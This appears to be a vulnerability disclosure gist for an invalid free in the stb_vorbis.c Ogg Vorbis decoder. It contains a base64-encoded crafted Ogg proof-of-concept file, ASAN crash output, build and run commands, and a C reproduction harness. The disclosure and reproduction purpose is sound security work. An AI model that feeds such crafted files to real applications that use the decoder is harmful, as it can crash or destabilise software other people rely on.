d0razi / **gist_09_README.md**

Created 2 weeks ago

Code Revisions 1

stb_vorbis.c Invalid Free PoC (CWE-761)

gist_09_poc.b64

```
T2dnUwACAAAAAAAAAAB4VjQSAAAAAAAAAAABHgF2b3JiaXMAAAAACiusAAD/////APQAAAAAAAC4
AU9nZ1MAAAcAeFY0EgAAeFY0EgEAAAAAAAAAARcDdm9yYmlzAAAAAAAAAQD/////AAABHgF2b3Ji
aXMAAAABZW5jbwAAAAAAAABT2dnUwAAAAAAAAADhAAB4VjQSAgAAAAAAAAABIQV2b3JiaXMAQkNW
AgV2b3JiaXMA
```

gist_09_README.md

stb_vorbis.c Invalid Free (CWE-761)

Product: stb_vorbis.c (nothings/stb) **Version**: <= 1.22

Description

An invalid free vulnerability in `setup_free()`. When processing a crafted Ogg Vorbis file, `vorbis_deinit()` calls `setup_free()` to free internal decoder structures. Due to corrupted internal state from malformed setup headers, an invalid pointer is passed to `free()`, causing a crash.

ASAN Output

```
ERROR: AddressSanitizer: SEGV on unknown address
READ memory access in __asan::Allocator::Deallocate
    #1 free
    #2 setup_free                  stb_vorbis.c:966
    #3 vorbis_deinit               stb_vorbis.c:4214
    #4 stb_vorbis_open_memory      stb_vorbis.c:5122
    #5 stb_vorbis_decode_memory    stb_vorbis.c:5390
```

Reproduction

```
base64 -d poc.ogg.b64 > poc.ogg
clang -fsanitize=address -g -O0 repro.c -o repro -lm
./repro poc.ogg
```

gist_09_repro.c

```c
#include <stdlib.h>
#include <stdio.h>
#include "stb_vorbis.c"
int main(int argc, char **argv) {
    if (argc < 2) return 1;
    FILE *f = fopen(argv[1], "rb"); if (!f) return 1;
    fseek(f, 0, SEEK_END); int len = ftell(f); fseek(f, 0, SEEK_SET);
    unsigned char *buf = malloc(len); fread(buf, 1, len, f); fclose(f);
    int ch, sr; short *out = NULL;
    stb_vorbis_decode_memory(buf, len, &ch, &sr, &out);
    if (out) free(out); free(buf);
    return 0;
}
// Build: clang -fsanitize=address -g -O0 repro.c -o repro -lm
// Run:   ./repro poc.ogg
```